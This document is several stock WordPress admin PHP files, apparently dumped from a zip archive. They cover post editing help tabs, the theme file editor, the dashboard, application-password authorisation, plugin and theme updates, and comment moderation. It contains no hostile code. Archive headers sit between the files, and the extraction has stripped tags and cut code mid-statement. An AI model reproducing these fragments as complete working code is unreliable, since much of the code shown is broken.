' ); } elseif ( 'attachment' === $post_type ) { get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'This screen allows you to edit fields for metadata in a file within the media library.' ) . '

' . '

' . __( 'For images only, you can click on Edit Image under the thumbnail to expand out an inline image editor with icons for cropping, rotating, or flipping the image as well as for undoing and redoing. The boxes on the right give you more options for scaling the image, for cropping it, and for cropping the thumbnail in a different way than you crop the original image. You can click on Help in those boxes to get more information.' ) . '

' . '

' . __( 'Note that you crop the image by clicking on it (the Crop icon is already selected) and dragging the cropping frame to select the desired part. Then click Save to retain the cropping.' ) . '

' . '

' . __( 'Remember to click Update Media to save metadata entered or changed.' ) . '

', ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Edit Media' ) . '

' . '

' . __( 'Support' ) . '

' ); } if ( 'post' === $post_type || 'page' === $post_type ) { $inserting_media = '

' . __( 'You can upload and insert media (images, audio, documents, etc.) by clicking the Add Media button. You can select from the images and files already uploaded to the Media Library, or upload new media to add to your page or post. To create an image gallery, select the images to add and click the “Create a new gallery” button.' ) . '

'; $inserting_media .= '

' . __( 'You can also embed media from many popular websites including Twitter, YouTube, Flickr and others by pasting the media URL on its own line into the content of your post/page. Learn more about embeds.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'inserting-media', 'title' => __( 'Inserting Media' ), 'content' => $inserting_media, ) ); } if ( 'post' === $post_type ) { $publish_box = '

' . __( 'Several boxes on this screen contain settings for how your content will be published, including:' ) . '

'; $publish_box .= '
  • ' . __( 'Publish — You can set the terms of publishing your post in the Publish box. For Status, Visibility, and Publish (immediately), click on the Edit link to reveal more options. Visibility includes options for password-protecting a post or making it stay at the top of your blog indefinitely (sticky). The Password protected option allows you to set an arbitrary password for each post. The Private option hides the post from everyone except editors and administrators. Publish (immediately) allows you to set a future or past date and time, so you can schedule a post to be published in the future or backdate a post.' ) . '
  • '; if ( current_theme_supports( 'post-formats' ) && post_type_supports( 'post', 'post-formats' ) ) { $publish_box .= '
  • ' . __( 'Format — Post Formats designate how your theme will display a specific post. For example, you could have a standard blog post with a title and paragraphs, or a short aside that omits the title and contains a short text blurb. Your theme could enable all or some of 10 possible formats. Learn more about each post format.' ) . '
  • '; } if ( current_theme_supports( 'post-thumbnails' ) && post_type_supports( 'post', 'thumbnail' ) ) { $publish_box .= '
  • ' . sprintf( /* translators: %s: Featured image. */ __( '%s — This allows you to associate an image with your post without inserting it. This is usually useful only if your theme makes use of the image as a post thumbnail on the home page, a custom header, etc.' ), esc_html( $post_type_object->labels->featured_image ) ) . '
  • '; } $publish_box .= '
'; get_current_screen()->add_help_tab( array( 'id' => 'publish-box', 'title' => __( 'Publish Settings' ), 'content' => $publish_box, ) ); $discussion_settings = '

' . __( 'Send Trackbacks — Trackbacks are a way to notify legacy blog systems that you’ve linked to them. Enter the URL(s) you want to send trackbacks. If you link to other WordPress sites they’ll be notified automatically using pingbacks, and this field is unnecessary.' ) . '

'; $discussion_settings .= '

' . __( 'Discussion — You can turn comments and pings on or off, and if there are comments on the post, you can see them here and moderate them.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'discussion-settings', 'title' => __( 'Discussion Settings' ), 'content' => $discussion_settings, ) ); } elseif ( 'page' === $post_type ) { $page_attributes = '

' . __( 'Parent — You can arrange your pages in hierarchies. For example, you could have an “About” page that has “Life Story” and “My Dog” pages under it. There are no limits to how many levels you can nest pages.' ) . '

' . '

' . __( 'Template — Some themes have custom templates you can use for certain pages that might have additional features or custom layouts. If so, you’ll see them in this dropdown menu.' ) . '

' . '

' . __( 'Order — Pages are usually ordered alphabetically, but you can choose your own order by entering a number (1 for first, etc.) in this field.' ) . '

'; get_current_screen()->add_help_tab( array( 'id' => 'page-attributes', 'title' => __( 'Page Attributes' ), 'content' => $page_attributes, ) ); } require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

cap->create_posts ) ) { echo ' ' . esc_html( $post_type_object->labels->add_new ) . ''; } ?>

>
public ? get_sample_permalink_html( $post->ID ) : ''; // As of 4.4, the Get Shortlink button is hidden by default. if ( has_filter( 'pre_get_shortlink' ) || has_filter( 'get_shortlink' ) ) { $shortlink = wp_get_shortlink( $post->ID, 'post' ); if ( ! empty( $shortlink ) && $shortlink !== $permalink && home_url( '?page_id=' . $post->ID ) !== $permalink ) { $sample_permalink_html .= '' . ''; } } if ( $post_type_object->public && ! ( 'pending' === get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) ) ) { $has_sample_permalink = $sample_permalink_html && 'auto-draft' !== $post->post_status; ?>
post_content, 'content', array( '_content_editor_dfw' => $_content_editor_dfw, 'drag_drop_upload' => true, 'tabfocus_elements' => 'content-html,save-post', 'editor_height' => 300, 'tinymce' => array( 'resize' => false, 'wp_autoresize_on' => $_wp_editor_expand, 'add_unload_trigger' => false, 'wp_keep_scroll_position' => ! $is_IE, ), ) ); ?>
0' ); ?>   post_status ) { echo ''; $last_user = get_userdata( get_post_meta( $post->ID, '_edit_last', true ) ); if ( $last_user ) { /* translators: 1: Name of most recent post author, 2: Post edited date, 3: Post edited time. */ printf( __( 'Last edited by %1$s on %2$s at %3$s' ), esc_html( $last_user->display_name ), mysql2date( __( 'F j, Y' ), $post->post_modified ), mysql2date( __( 'g:i a' ), $post->post_modified ) ); } else { /* translators: 1: Post edited date, 2: Post edited time. */ printf( __( 'Last edited on %1$s at %2$s' ), mysql2date( __( 'F j, Y' ), $post->post_modified ), mysql2date( __( 'g:i a' ), $post->post_modified ) ); } echo ''; } ?>

post_title ) : ?> PK@0]Vc;c;wp-admin/theme-editor.phpnu[' . __( 'Sorry, you are not allowed to edit templates for this site.' ) . '

' ); } // Used in the HTML title tag. $title = __( 'Edit Themes' ); $parent_file = 'themes.php'; get_current_screen()->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => '

' . __( 'You can use the theme file editor to edit the individual CSS and PHP files which make up your theme.' ) . '

' . '

' . __( 'Begin by choosing a theme to edit from the dropdown menu and clicking the Select button. A list then appears of the theme’s template files. Clicking once on any file name causes the file to appear in the large Editor box.' ) . '

' . '

' . __( 'For PHP files, you can use the documentation dropdown to select from functions recognized in that file. Look Up takes you to a web page with reference material about that particular function.' ) . '

' . '

' . __( 'When using a keyboard to navigate:' ) . '

' . '
    ' . '
  • ' . __( 'In the editing area, the Tab key enters a tab character.' ) . '
  • ' . '
  • ' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '
  • ' . '
  • ' . __( 'Screen reader users: when in forms mode, you may need to press the Esc key twice.' ) . '
  • ' . '
' . '

' . __( 'After typing in your edits, click Update File.' ) . '

' . '

' . __( 'Advice: Think very carefully about your site crashing if you are live-editing the theme currently in use.' ) . '

' . '

' . sprintf( /* translators: %s: Link to documentation on child themes. */ __( 'Upgrading to a newer version of the same theme will override changes made here. To avoid this, consider creating a child theme instead.' ), __( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ) ) . '

' . ( is_network_admin() ? '

' . __( 'Any edits to files from this screen will be reflected on all sites in the network.' ) . '

' : '' ), ) ); get_current_screen()->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Theme Development' ) . '

' . '

' . __( 'Documentation on Editing Themes' ) . '

' . '

' . __( 'Documentation on Editing Files' ) . '

' . '

' . __( 'Documentation on Template Tags' ) . '

' . '

' . __( 'Support' ) . '

' ); wp_reset_vars( array( 'action', 'error', 'file', 'theme' ) ); if ( $theme ) { $stylesheet = $theme; } else { $stylesheet = get_stylesheet(); } $theme = wp_get_theme( $stylesheet ); if ( ! $theme->exists() ) { wp_die( __( 'The requested theme does not exist.' ) ); } if ( $theme->errors() && 'theme_no_stylesheet' === $theme->errors()->get_error_code() ) { wp_die( __( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message() ); } $allowed_files = array(); $style_files = array(); $file_types = wp_get_theme_file_editable_extensions( $theme ); foreach ( $file_types as $type ) { switch ( $type ) { case 'php': $allowed_files += $theme->get_files( 'php', -1 ); break; case 'css': $style_files = $theme->get_files( 'css', -1 ); $allowed_files['style.css'] = $style_files['style.css']; $allowed_files += $style_files; break; default: $allowed_files += $theme->get_files( $type, -1 ); break; } } // Move functions.php and style.css to the top. if ( isset( $allowed_files['functions.php'] ) ) { $allowed_files = array( 'functions.php' => $allowed_files['functions.php'] ) + $allowed_files; } if ( isset( $allowed_files['style.css'] ) ) { $allowed_files = array( 'style.css' => $allowed_files['style.css'] ) + $allowed_files; } if ( empty( $file ) ) { $relative_file = 'style.css'; $file = $allowed_files['style.css']; } else { $relative_file = wp_unslash( $file ); $file = $theme->get_stylesheet_directory() . '/' . $relative_file; } validate_file_to_edit( $file, $allowed_files ); // Handle fallback editing of file when JavaScript is not available. $edit_error = null; $posted_content = null; if ( 'POST' === $_SERVER['REQUEST_METHOD'] ) { $r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) ); if ( is_wp_error( $r ) ) { $edit_error = $r; if ( check_ajax_referer( 'edit-theme_' . $stylesheet . '_' . $relative_file, 'nonce', false ) && isset( $_POST['newcontent'] ) ) { $posted_content = wp_unslash( $_POST['newcontent'] ); } } else { wp_redirect( add_query_arg( array( 'a' => 1, // This means "success" for some reason. 'theme' => $stylesheet, 'file' => $relative_file, ), admin_url( 'theme-editor.php' ) ) ); exit; } } $settings = array( 'codeEditor' => wp_enqueue_code_editor( compact( 'file' ) ), ); wp_enqueue_script( 'wp-theme-plugin-editor' ); wp_add_inline_script( 'wp-theme-plugin-editor', sprintf( 'jQuery( function( $ ) { wp.themePluginEditor.init( $( "#template" ), %s ); } )', wp_json_encode( $settings ) ) ); wp_add_inline_script( 'wp-theme-plugin-editor', 'wp.themePluginEditor.themeOrPlugin = "theme";' ); require_once ABSPATH . 'wp-admin/admin-header.php'; update_recently_edited( $file ); if ( ! is_file( $file ) ) { $error = true; } $content = ''; if ( ! empty( $posted_content ) ) { $content = $posted_content; } elseif ( ! $error && filesize( $file ) > 0 ) { $f = fopen( $file, 'r' ); $content = fread( $f, filesize( $file ) ); if ( '.php' === substr( $file, strrpos( $file, '.' ) ) ) { $functions = wp_doc_link_parse( $content ); $docs_select = ''; } $content = esc_textarea( $content ); } $file_description = get_file_description( $relative_file ); $file_show = array_search( $file, array_filter( $allowed_files ), true ); $description = esc_html( $file_description ); if ( $file_description !== $file_show ) { $description .= ' (' . esc_html( $file_show ) . ')'; } ?>

get_error_message() ? $edit_error->get_error_message() : $edit_error->get_error_code() ); ?>

built-in CSS editor.' ), esc_url( add_query_arg( 'autofocus[section]', 'custom_css', admin_url( 'customize.php' ) ) ) ); ?>

display( 'Name' ); if ( $description ) { echo ': ' . $description;} ?>


errors() ) { echo '

' . __( 'This theme is broken.' ) . ' ' . $theme->errors()->get_error_message() . '

'; } ?>

    parent() ) : ?>
  • %s', self_admin_url( 'theme-editor.php?theme=' . urlencode( $theme->get_template() ) ), $theme->parent()->display( 'Name' ) ) ); ?>

' . __( 'File does not exist! Please double check the name and try again.' ) . '

'; else : ?>
get_stylesheet() === get_template() ) : ?>

Changing File Permissions for more information.' ), __( 'https://wordpress.org/support/article/changing-file-permissions/' ) ); ?>


' . __( 'Welcome to your WordPress Dashboard!' ) . '

'; $help .= '

' . __( 'The Dashboard is the first place you will come to every time you log into your site. It is where you will find all your WordPress tools. If you need help, just click the “Help” tab above the screen title.' ) . '

'; $screen = get_current_screen(); $screen->add_help_tab( array( 'id' => 'overview', 'title' => __( 'Overview' ), 'content' => $help, ) ); // Help tabs. $help = '

' . __( 'The left-hand navigation menu provides links to all of the WordPress administration screens, with submenu items displayed on hover. You can minimize this menu to a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.' ) . '

'; $help .= '

' . __( 'Links in the Toolbar at the top of the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful WordPress information.' ) . '

'; $screen->add_help_tab( array( 'id' => 'help-navigation', 'title' => __( 'Navigation' ), 'content' => $help, ) ); $help = '

' . __( 'You can use the following controls to arrange your Dashboard screen to suit your workflow. This is true on most other administration screens as well.' ) . '

'; $help .= '

' . __( 'Screen Options — Use the Screen Options tab to choose which Dashboard boxes to show.' ) . '

'; $help .= '

' . __( 'Drag and Drop — To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and releasing when you see a gray dotted-line rectangle appear in the location you want to place the box.' ) . '

'; $help .= '

' . __( 'Box Controls — Click the title bar of the box to expand or collapse it. Some boxes added by plugins may have configurable content, and will show a “Configure” link in the title bar if you hover over it.' ) . '

'; $screen->add_help_tab( array( 'id' => 'help-layout', 'title' => __( 'Layout' ), 'content' => $help, ) ); $help = '

' . __( 'The boxes on your Dashboard screen are:' ) . '

'; if ( current_user_can( 'edit_theme_options' ) ) { $help .= '

' . __( 'Welcome — Shows links for some of the most common tasks when setting up a new site.' ) . '

'; } if ( current_user_can( 'view_site_health_checks' ) ) { $help .= '

' . __( 'Site Health Status — Informs you of any potential issues that should be addressed to improve the performance or security of your website.' ) . '

'; } if ( current_user_can( 'edit_posts' ) ) { $help .= '

' . __( 'At a Glance — Displays a summary of the content on your site and identifies which theme and version of WordPress you are using.' ) . '

'; } $help .= '

' . __( 'Activity — Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them.' ) . '

'; if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) { $help .= '

' . __( "Quick Draft — Allows you to create a new post and save it as a draft. Also displays links to the 3 most recent draft posts you've started." ) . '

'; } $help .= '

' . sprintf( /* translators: %s: WordPress Planet URL. */ __( 'WordPress Events and News — Upcoming events near you as well as the latest news from the official WordPress project and the WordPress Planet.' ), __( 'https://planet.wordpress.org/' ) ) . '

'; $screen->add_help_tab( array( 'id' => 'help-content', 'title' => __( 'Content' ), 'content' => $help, ) ); unset( $help ); $wp_version = get_bloginfo( 'version', 'display' ); /* translators: %s: WordPress version. */ $wp_version_text = sprintf( __( 'Version %s' ), $wp_version ); $is_dev_version = preg_match( '/alpha|beta|RC/', $wp_version ); if ( ! $is_dev_version ) { $version_url = sprintf( /* translators: %s: WordPress version. */ esc_url( __( 'https://wordpress.org/support/wordpress-version/version-%s/' ) ), sanitize_title( $wp_version ) ); $wp_version_text = sprintf( '%2$s', $version_url, $wp_version_text ); } $screen->set_help_sidebar( '

' . __( 'For more information:' ) . '

' . '

' . __( 'Documentation on Dashboard' ) . '

' . '

' . __( 'Support' ) . '

' . '

' . $wp_version_text . '

' ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

user_email !== get_option( 'admin_email' ) ) ); if ( $hide ) { $classes .= ' hidden'; } ?>
$app_name, 'app_id' => $app_id, ) ); if ( is_wp_error( $created ) ) { $error = $created; } else { list( $new_password ) = $created; if ( $success_url ) { $redirect = add_query_arg( array( 'site_url' => urlencode( site_url() ), 'user_login' => urlencode( wp_get_current_user()->user_login ), 'password' => urlencode( $new_password ), ), $success_url ); } } } if ( $redirect ) { // Explicitly not using wp_safe_redirect b/c sends to arbitrary domain. wp_redirect( $redirect ); exit; } } // Used in the HTML title tag. $title = __( 'Authorize Application' ); $app_name = ! empty( $_REQUEST['app_name'] ) ? $_REQUEST['app_name'] : ''; $app_id = ! empty( $_REQUEST['app_id'] ) ? $_REQUEST['app_id'] : ''; $success_url = ! empty( $_REQUEST['success_url'] ) ? $_REQUEST['success_url'] : null; if ( ! empty( $_REQUEST['reject_url'] ) ) { $reject_url = $_REQUEST['reject_url']; } elseif ( $success_url ) { $reject_url = add_query_arg( 'success', 'false', $success_url ); } else { $reject_url = null; } $user = wp_get_current_user(); $request = compact( 'app_name', 'app_id', 'success_url', 'reject_url' ); $is_valid = wp_is_authorize_application_password_request_valid( $request, $user ); if ( is_wp_error( $is_valid ) ) { wp_die( __( 'The Authorize Application request is not allowed.' ) . ' ' . implode( ' ', $is_valid->get_error_messages() ), __( 'Cannot Authorize Application' ) ); } if ( wp_is_site_protected_by_basic_auth( 'front' ) ) { wp_die( __( 'Your website appears to use Basic Authentication, which is not currently compatible with application passwords.' ), __( 'Cannot Authorize Application' ), array( 'response' => 501, 'link_text' => __( 'Go Back' ), 'link_url' => $reject_url ? add_query_arg( 'error', 'disabled', $reject_url ) : admin_url(), ) ); } if ( ! wp_is_application_passwords_available_for_user( $user ) ) { if ( wp_is_application_passwords_available() ) { $message = __( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ); } else { $message = __( 'Application passwords are not available.' ); } wp_die( $message, __( 'Cannot Authorize Application' ), array( 'response' => 501, 'link_text' => __( 'Go Back' ), 'link_url' => $reject_url ? add_query_arg( 'error', 'disabled', $reject_url ) : admin_url(), ) ); } wp_enqueue_script( 'auth-app' ); wp_localize_script( 'auth-app', 'authApp', array( 'site_url' => site_url(), 'user_login' => $user->user_login, 'success' => $success_url, 'reject' => $reject_url ? $reject_url : admin_url(), ) ); require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

get_error_message(); ?>

' . esc_html( $app_name ) . '' ); ?>

ID, true ); $blogs_count = count( $blogs ); if ( $blogs_count > 1 ) { ?>

the %2$s site in this installation that you have permissions on.', 'This will grant access to all %2$s sites in this installation that you have permissions on.', $blogs_count ); if ( is_super_admin() ) { /* translators: 1: URL to my-sites.php, 2: Number of sites the user has. */ $message = _n( 'This will grant access to the %2$s site on the network as you have Super Admin rights.', 'This will grant access to all %2$s sites on the network as you have Super Admin rights.', $blogs_count ); } printf( $message, admin_url( 'my-sites.php' ), number_format_i18n( $blogs_count ) ); ?>

'description-approve', ) ); ?>

' . esc_html( add_query_arg( array( 'site_url' => site_url(), 'user_login' => $user->user_login, 'password' => '[------]', ), $success_url ) ) . '' ); } else { _e( 'You will be given a password to manually enter into the application in question.' ); } ?>

'description-reject', ) ); ?>

' . esc_html( $reject_url ) . '' ); } else { _e( 'You will be returned to the WordPress Dashboard, and no changes will be made.' ); } ?>

bulk_upgrade( $plugins ); iframe_footer(); } elseif ( 'upgrade-plugin' === $action ) { if ( ! current_user_can( 'update_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) ); } check_admin_referer( 'upgrade-plugin_' . $plugin ); // Used in the HTML title tag. $title = __( 'Update Plugin' ); $parent_file = 'plugins.php'; $submenu_file = 'plugins.php'; wp_enqueue_script( 'updates' ); require_once ABSPATH . 'wp-admin/admin-header.php'; $nonce = 'upgrade-plugin_' . $plugin; $url = 'update.php?action=upgrade-plugin&plugin=' . urlencode( $plugin ); $upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'plugin' ) ) ); $upgrader->upgrade( $plugin ); require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'activate-plugin' === $action ) { if ( ! current_user_can( 'update_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to update plugins for this site.' ) ); } check_admin_referer( 'activate-plugin_' . $plugin ); if ( ! isset( $_GET['failure'] ) && ! isset( $_GET['success'] ) ) { wp_redirect( admin_url( 'update.php?action=activate-plugin&failure=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) ); activate_plugin( $plugin, '', ! empty( $_GET['networkwide'] ), true ); wp_redirect( admin_url( 'update.php?action=activate-plugin&success=true&plugin=' . urlencode( $plugin ) . '&_wpnonce=' . $_GET['_wpnonce'] ) ); die(); } iframe_header( __( 'Plugin Reactivation' ), true ); if ( isset( $_GET['success'] ) ) { echo '

' . __( 'Plugin reactivated successfully.' ) . '

'; } if ( isset( $_GET['failure'] ) ) { echo '

' . __( 'Plugin failed to reactivate due to a fatal error.' ) . '

'; error_reporting( E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR ); ini_set( 'display_errors', true ); // Ensure that fatal errors are displayed. wp_register_plugin_realpath( WP_PLUGIN_DIR . '/' . $plugin ); include WP_PLUGIN_DIR . '/' . $plugin; } iframe_footer(); } elseif ( 'install-plugin' === $action ) { if ( ! current_user_can( 'install_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) ); } include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // For plugins_api(). check_admin_referer( 'install-plugin_' . $plugin ); $api = plugins_api( 'plugin_information', array( 'slug' => $plugin, 'fields' => array( 'sections' => false, ), ) ); if ( is_wp_error( $api ) ) { wp_die( $api ); } // Used in the HTML title tag. $title = __( 'Plugin Installation' ); $parent_file = 'plugins.php'; $submenu_file = 'plugin-install.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; /* translators: %s: Plugin name and version. */ $title = sprintf( __( 'Installing Plugin: %s' ), $api->name . ' ' . $api->version ); $nonce = 'install-plugin_' . $plugin; $url = 'update.php?action=install-plugin&plugin=' . urlencode( $plugin ); if ( isset( $_GET['from'] ) ) { $url .= '&from=' . urlencode( stripslashes( $_GET['from'] ) ); } $type = 'web'; // Install plugin type, From Web or an Upload. $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) ); $upgrader->install( $api->download_link ); require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'upload-plugin' === $action ) { if ( ! current_user_can( 'upload_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) ); } check_admin_referer( 'plugin-upload' ); $file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' ); // Used in the HTML title tag. $title = __( 'Upload Plugin' ); $parent_file = 'plugins.php'; $submenu_file = 'plugin-install.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; /* translators: %s: File name. */ $title = sprintf( __( 'Installing plugin from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) ); $nonce = 'plugin-upload'; $url = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-plugin' ); $type = 'upload'; // Install plugin type, From Web or an Upload. $overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : ''; $overwrite = in_array( $overwrite, array( 'update-plugin', 'downgrade-plugin' ), true ) ? $overwrite : ''; $upgrader = new Plugin_Upgrader( new Plugin_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) ); $result = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) ); if ( $result || is_wp_error( $result ) ) { $file_upload->cleanup(); } require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'upload-plugin-cancel-overwrite' === $action ) { if ( ! current_user_can( 'upload_plugins' ) ) { wp_die( __( 'Sorry, you are not allowed to install plugins on this site.' ) ); } check_admin_referer( 'plugin-upload-cancel-overwrite' ); // Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die() // that shows a generic "Please select a file" error. if ( ! empty( $_GET['package'] ) ) { $attachment_id = (int) $_GET['package']; if ( get_post( $attachment_id ) ) { $file_upload = new File_Upload_Upgrader( 'pluginzip', 'package' ); $file_upload->cleanup(); } } wp_redirect( self_admin_url( 'plugin-install.php' ) ); exit; } elseif ( 'upgrade-theme' === $action ) { if ( ! current_user_can( 'update_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) ); } check_admin_referer( 'upgrade-theme_' . $theme ); wp_enqueue_script( 'updates' ); // Used in the HTML title tag. $title = __( 'Update Theme' ); $parent_file = 'themes.php'; $submenu_file = 'themes.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; $nonce = 'upgrade-theme_' . $theme; $url = 'update.php?action=upgrade-theme&theme=' . urlencode( $theme ); $upgrader = new Theme_Upgrader( new Theme_Upgrader_Skin( compact( 'title', 'nonce', 'url', 'theme' ) ) ); $upgrader->upgrade( $theme ); require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'update-selected-themes' === $action ) { if ( ! current_user_can( 'update_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to update themes for this site.' ) ); } check_admin_referer( 'bulk-update-themes' ); if ( isset( $_GET['themes'] ) ) { $themes = explode( ',', stripslashes( $_GET['themes'] ) ); } elseif ( isset( $_POST['checked'] ) ) { $themes = (array) $_POST['checked']; } else { $themes = array(); } $themes = array_map( 'urldecode', $themes ); $url = 'update.php?action=update-selected-themes&themes=' . urlencode( implode( ',', $themes ) ); $nonce = 'bulk-update-themes'; wp_enqueue_script( 'updates' ); iframe_header(); $upgrader = new Theme_Upgrader( new Bulk_Theme_Upgrader_Skin( compact( 'nonce', 'url' ) ) ); $upgrader->bulk_upgrade( $themes ); iframe_footer(); } elseif ( 'install-theme' === $action ) { if ( ! current_user_can( 'install_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) ); } include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // For themes_api(). check_admin_referer( 'install-theme_' . $theme ); $api = themes_api( 'theme_information', array( 'slug' => $theme, 'fields' => array( 'sections' => false, 'tags' => false, ), ) ); // Save on a bit of bandwidth. if ( is_wp_error( $api ) ) { wp_die( $api ); } // Used in the HTML title tag. $title = __( 'Install Themes' ); $parent_file = 'themes.php'; $submenu_file = 'themes.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; /* translators: %s: Theme name and version. */ $title = sprintf( __( 'Installing Theme: %s' ), $api->name . ' ' . $api->version ); $nonce = 'install-theme_' . $theme; $url = 'update.php?action=install-theme&theme=' . urlencode( $theme ); $type = 'web'; // Install theme type, From Web or an Upload. $upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'title', 'url', 'nonce', 'plugin', 'api' ) ) ); $upgrader->install( $api->download_link ); require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'upload-theme' === $action ) { if ( ! current_user_can( 'upload_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) ); } check_admin_referer( 'theme-upload' ); $file_upload = new File_Upload_Upgrader( 'themezip', 'package' ); // Used in the HTML title tag. $title = __( 'Upload Theme' ); $parent_file = 'themes.php'; $submenu_file = 'theme-install.php'; require_once ABSPATH . 'wp-admin/admin-header.php'; /* translators: %s: File name. */ $title = sprintf( __( 'Installing theme from uploaded file: %s' ), esc_html( basename( $file_upload->filename ) ) ); $nonce = 'theme-upload'; $url = add_query_arg( array( 'package' => $file_upload->id ), 'update.php?action=upload-theme' ); $type = 'upload'; // Install theme type, From Web or an Upload. $overwrite = isset( $_GET['overwrite'] ) ? sanitize_text_field( $_GET['overwrite'] ) : ''; $overwrite = in_array( $overwrite, array( 'update-theme', 'downgrade-theme' ), true ) ? $overwrite : ''; $upgrader = new Theme_Upgrader( new Theme_Installer_Skin( compact( 'type', 'title', 'nonce', 'url', 'overwrite' ) ) ); $result = $upgrader->install( $file_upload->package, array( 'overwrite_package' => $overwrite ) ); if ( $result || is_wp_error( $result ) ) { $file_upload->cleanup(); } require_once ABSPATH . 'wp-admin/admin-footer.php'; } elseif ( 'upload-theme-cancel-overwrite' === $action ) { if ( ! current_user_can( 'upload_themes' ) ) { wp_die( __( 'Sorry, you are not allowed to install themes on this site.' ) ); } check_admin_referer( 'theme-upload-cancel-overwrite' ); // Make sure the attachment still exists, or File_Upload_Upgrader will call wp_die() // that shows a generic "Please select a file" error. if ( ! empty( $_GET['package'] ) ) { $attachment_id = (int) $_GET['package']; if ( get_post( $attachment_id ) ) { $file_upload = new File_Upload_Upgrader( 'themezip', 'package' ); $file_upload->cleanup(); } } wp_redirect( self_admin_url( 'theme-install.php' ) ); exit; } else { /** * Fires when a custom plugin or theme update request is received. * * The dynamic portion of the hook name, `$action`, refers to the action * provided in the request for wp-admin/update.php. Can be used to * provide custom update functionality for themes and plugins. * * @since 2.8.0 */ do_action( "update-custom_{$action}" ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } } PK@0]JG66wp-admin/edit-comments.phpnu[' . __( 'You need a higher level of permission.' ) . '' . '

' . __( 'Sorry, you are not allowed to edit comments.' ) . '

', 403 ); } $wp_list_table = _get_list_table( 'WP_Comments_List_Table' ); $pagenum = $wp_list_table->get_pagenum(); $doaction = $wp_list_table->current_action(); if ( $doaction ) { check_admin_referer( 'bulk-comments' ); if ( 'delete_all' === $doaction && ! empty( $_REQUEST['pagegen_timestamp'] ) ) { $comment_status = wp_unslash( $_REQUEST['comment_status'] ); $delete_time = wp_unslash( $_REQUEST['pagegen_timestamp'] ); $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_approved = %s AND %s > comment_date_gmt", $comment_status, $delete_time ) ); $doaction = 'delete'; } elseif ( isset( $_REQUEST['delete_comments'] ) ) { $comment_ids = $_REQUEST['delete_comments']; $doaction = $_REQUEST['action']; } elseif ( isset( $_REQUEST['ids'] ) ) { $comment_ids = array_map( 'absint', explode( ',', $_REQUEST['ids'] ) ); } elseif ( wp_get_referer() ) { wp_safe_redirect( wp_get_referer() ); exit; } $approved = 0; $unapproved = 0; $spammed = 0; $unspammed = 0; $trashed = 0; $untrashed = 0; $deleted = 0; $redirect_to = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'spammed', 'unspammed', 'approved', 'unapproved', 'ids' ), wp_get_referer() ); $redirect_to = add_query_arg( 'paged', $pagenum, $redirect_to ); wp_defer_comment_counting( true ); foreach ( $comment_ids as $comment_id ) { // Check the permissions on each. if ( ! current_user_can( 'edit_comment', $comment_id ) ) { continue; } switch ( $doaction ) { case 'approve': wp_set_comment_status( $comment_id, 'approve' ); $approved++; break; case 'unapprove': wp_set_comment_status( $comment_id, 'hold' ); $unapproved++; break; case 'spam': wp_spam_comment( $comment_id ); $spammed++; break; case 'unspam': wp_unspam_comment( $comment_id ); $unspammed++; break; case 'trash': wp_trash_comment( 